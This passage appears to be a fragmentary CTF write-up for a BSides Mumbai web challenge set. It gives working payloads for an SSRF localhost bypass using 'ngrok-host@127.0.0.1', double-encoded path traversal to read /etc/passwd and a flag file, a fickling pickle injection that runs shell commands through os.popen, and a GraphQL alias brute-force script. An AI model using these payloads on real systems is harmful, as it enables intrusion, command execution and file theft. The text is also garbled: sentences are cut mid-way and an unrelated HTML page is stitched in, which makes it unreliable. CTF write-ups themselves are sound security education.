Hack. Eat. Sleep. Repeat!!!
localhost but I noticed that internal hosts get filtered.@.If 2 hosts are separated with @, any host placed after @ will get loaded and not the host before it.For example-:google.com@127.0.0.1
127.0.0.1 will get picked over google.com.In my case, I used an ngrok host but you can use any host that doesn’t get blacklisted.
<!DOCTYPE html>
<html>
<head>
<title>CTF Challenge</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
background-color: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background-color: #fff;
padding: 20px;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
h1 {
color: #333;
}
.error {
color: red;
margin-bottom: 10px;
}
.success {
color: green;
margin-bottom: 10px;
}
input[type="text"], input[type="password"], input[type="file"] {
width: 100%;
padding: 10px;
margin-bottom: 10px;
border: 1px solid #ddd;
}
.user-table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
}
.user-table th, .user-table td {
padding: 8px;
border: 1px solid #ddd;
text-align: left;
}
.user-table th {
background-color: #f2f2f2;
}
</style>
</head>
<body>
<div class="container">
<h1>Login</h1>
<form method="post">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Login</button>
</form>
<p>Don't have an account? <a href="/register">Register here</a></p>
</div>
</body>
</html>
/admin page but I got the 403 error status forbiddem.Since we have ssrf, we can force the server to make a request to the endpoint.jpg so I have to load and show the output in a text editor.Arbitrary file read because it is used to read files.I tried the basic ../../ but I got a 403 error.../ which worked.I was able to read the /etc/passwd file./var/flag/flag.txt.http://6.tcp.eu.ngrok.io:16967@127.0.0.1/admin/view_file?file=%252E%252E%252F%252E%252E%252Fvar%252Fflag%252Fflag.txt
BMCTF{LOCALHOST_isnt_ALWAYS_local}Insecure Deserialization via pkl files upload to RCE.It is not news that pickle.loads() is a vulnerable function.Also the upload of pkl files which is used to store pickle bytes can be exploited if directly passed to pickle.loads().This site allows upload of pickle pkl files.fickling.You can install with pip instal fickling.fickling --inject "int(__import__('os').popen('ls').read())" portfolio.pkl > ./portfolioz.pkl
os.system().I did this by abusing int() feature which is used for integers in python.int() triggers an error and also expose a value in the error if it is a string.Example-:ls that I executed.fickling --inject "int(__import__('os').popen('cat flag.txt').read())" portfolio.pkl > ./portfolioz.pkl
BMCTF{pretty_lil_baby_you_say_that_maybe_youll_be_thinking_of_me_and_try_to_H4CK_me}// GraphQL query
const query = `
query {
guessNumber(number: ${number}) {
correct
message
flag
}
}
`;
fetch('/graphql', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ query }),
})
Query is made to the server to get data.You can view it as either a POST or GET request to grab data.An Alias allows you to create multiple queries in a single request e.g if you are trying to bruteforce, you can send in multiple values in a single request e.g-> Query -:
query {
guessNumber(number: 10) {
correct
message
flag
}
}
-> Alias should have different name values,you’ll notice that the first name is first2 and the other is first1 -:
query {
first1: guessNumber(number: 10) {
correct
message
flag
}
first12: guessNumber(number: 11) {
correct
message
flag
}
}
5000 aliases per request.I tried 10000 aliases at first and 502 gateway error.I wrote a script to make it easier because I can’t manually create 5000 aliases.#! /usr/bin/env python3
import requests
import asyncio
pre_data = "query {\n me: guessNumber(number: 100000) {\n correct\n message\n flag\n }"
end_data = "}\n\n"
async def createData(min: int,max: int) -> str:
main_data = "" + pre_data
for i in range(min-1,max):
data = "\nmezz: guessNumber(number: zz) {\n correct\n message\n flag\n }\n".replace("zz",str(i))
main_data += data
return main_data + end_data
async def main():
for i in range(0,100000,5000):
data = {"query":await createData(i,i+5000)}
url = "https://abfb9883.bsidesmumbai.in/graphql"
data = requests.post(url,json=data)
if "BMCTF" in data.text:
print(f"[+] Range-:{i}:{i+5000}")
print("[+] Flag-: BMCTF{"+data.text.split("BMCTF{")[1].split("\"")[0])
exit()
else:
print(f"[-] Not in range-:{i}:{i+5000}")
if __name__ == "__main__":
asyncio.run(main())
BMCTF{4l14s_br34k_l1m1ts}